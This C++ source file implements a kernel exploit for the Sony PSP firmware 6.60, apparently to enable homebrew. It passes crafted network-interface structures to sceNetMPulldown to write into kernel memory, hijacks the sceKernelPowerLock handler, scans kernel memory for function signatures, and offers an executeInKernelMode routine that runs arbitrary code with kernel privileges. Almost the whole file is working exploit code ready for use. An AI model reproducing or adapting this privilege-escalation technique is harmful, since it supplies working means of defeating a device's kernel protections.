k660.cpp

#include "k660.h"
#include "cache.h"
#include "findproc.h"

#include <netifhandle.h>
#include <pspmacro.h>

#include <pspkernel.h>
#include <pspsdk.h>
#include <psputility.h>

extern "C" int sceKernelPowerLock(unsigned int arg, int unused, KernelFunction kfunc);

namespace
{
    using PowerLockHandler = int (*)(unsigned int arg, int unused, KernelFunction kfunc);
    constexpr auto powerLockUserAddress = 0x8800CBB8u;
    constexpr auto KernelFunctionMagic = 0xCAFEBABEu;

    struct RestoreContext
    {
        bool initialised = false;
        PowerLockHandler* powerLockAddress = nullptr;
        PowerLockHandler powerLockHandler = nullptr;
    };

    RestoreContext* restoreContext()
    {
        static RestoreContext context;
        return &context;
    }

    KernelContext* context()
    {
        static KernelContext context;
        return &context;
    }

    uintptr_t findProc(const char* modname, const char* libname, unsigned int nid)
    {
        return ::findProc(context(), modname, libname, nid);
    }

    int powerLockHandler(unsigned int arg, int unused, KernelFunction kfunc)
    {
        if (arg != KernelFunctionMagic)
        {
            return restoreContext()->powerLockHandler(arg, unused, kfunc);
        }

        auto k1 = pspSdkSetK1(0);
        auto ctx = context();

        if (!ctx->pspKernelFindModuleByName)
        {
            // Resolve the kernel functions
            // Search kmem for the sceKernelFindModuleByName
            for (uintptr_t i = 0x88000000; i < (0x88400000 - 0x54 - 4); i += 4)
            {
                if (_lw(i + 0x00) == 0x27BDFFE0 && _lw(i + 0x04) == 0xAFB40010 &&
                    _lw(i + 0x08) == 0xAFB3000C && _lw(i + 0x0C) == 0xAFB20008 &&
                    _lw(i + 0x10) == 0x00009021 && _lw(i + 0x14) == 0x02409821 &&
                    _lw(i + 0x54) == 0x0263202A)
                {
                    // found it, i = address of function
                    ctx->pspKernelFindModuleByName =
                        reinterpret_cast<decltype(KernelContext::pspKernelFindModuleByName)>(i);
                    break;
                }
            }

            if (!ctx->pspKernelFindModuleByName)
            {
                return -2;
            }

            ctx->clearCaches = KClearCaches;
            ctx->findProc = findProc;
            ctx->pspKernelGetModel = reinterpret_cast<decltype(KernelContext::pspKernelGetModel)>(
                ::findProc(ctx, "sceSystemMemoryManager", "SysMemForKernel", 0x07C586A1));
        }

        KClearCaches();

        // execute the user provided function
        kfunc(ctx);

        KClearCaches();
        pspSdkSetK1(k1);
        return 0;
    }

    int kernelSetup()
    {
        constexpr auto powerLockUserPointer = reinterpret_cast<uintptr_t*>(powerLockUserAddress);
        auto ctx = restoreContext();

        // restore our modifications
        _sw(LUI(GPREG_A1, 0x8801), powerLockUserAddress); // lui $a1, 0x8801
        KClearCaches();

        auto powerLockHandlerAddresses =
            (EXTRACT_IMM(powerLockUserPointer[0]) << 16) | EXTRACT_IMM(powerLockUserPointer[1]);
        ctx->powerLockAddress = reinterpret_cast<PowerLockHandler*>(
            *reinterpret_cast<uintptr_t*>(powerLockHandlerAddresses) + 0x10);
        ctx->powerLockHandler = *ctx->powerLockAddress;

        // install new powerlock handler
        *ctx->powerLockAddress = powerLockHandler;

        KClearCaches();
        return 0;
    }

    void executeKernelExploit()
    {
        SceKernelIfHandleParam param_top = { 0 };
        SceKernelIfHandleParam param_sub = { 0 };

        sceUtilityLoadNetModule(1);

        auto stackValue = 0;

        // Fill sub structure
        param_sub.unk_8 = (u32)&stackValue;
        param_sub.unk_12 = sizeof(u32);

        // Fill top structure
        param_top.unk_0 = &param_sub;
        param_top.unk_12 = 1;
        param_top.unk_18 = 1;
        param_top.unk_68 = (u32)&param_top;
        param_top.unk_8 = powerLockUserAddress - param_top.unk_12;
        param_top.unk_48 = powerLockUserAddress;
        param_top.unk_60 = sizeof(u32);

        sceNetMPulldown(&param_top, 0, param_top.unk_12 + sizeof(u32), nullptr);
        ClearCaches();

        // set a pointer sequence in order the comply with the exploits loading sequence
        auto kernelExecFunction = reinterpret_cast<uintptr_t>(kernelSetup) | 0x80000000;
        auto kernelFunctionTable = reinterpret_cast<uintptr_t>(&kernelExecFunction) - 16;

        // jump to our setup function
        sceKernelPowerLock(0, reinterpret_cast<uintptr_t>(&kernelFunctionTable) - 0x40F8, 0);
    }
}

namespace k660
{
    int executeInKernelMode(KernelFunction kfunc)
    {
        if (!restoreContext()->initialised)
        {
            executeKernelExploit();
            restoreContext()->initialised = true;
        }

        return sceKernelPowerLock(
            KernelFunctionMagic,
            0,
            reinterpret_cast<KernelFunction>(reinterpret_cast<uintptr_t>(kfunc) | 0x80000000));
    }
}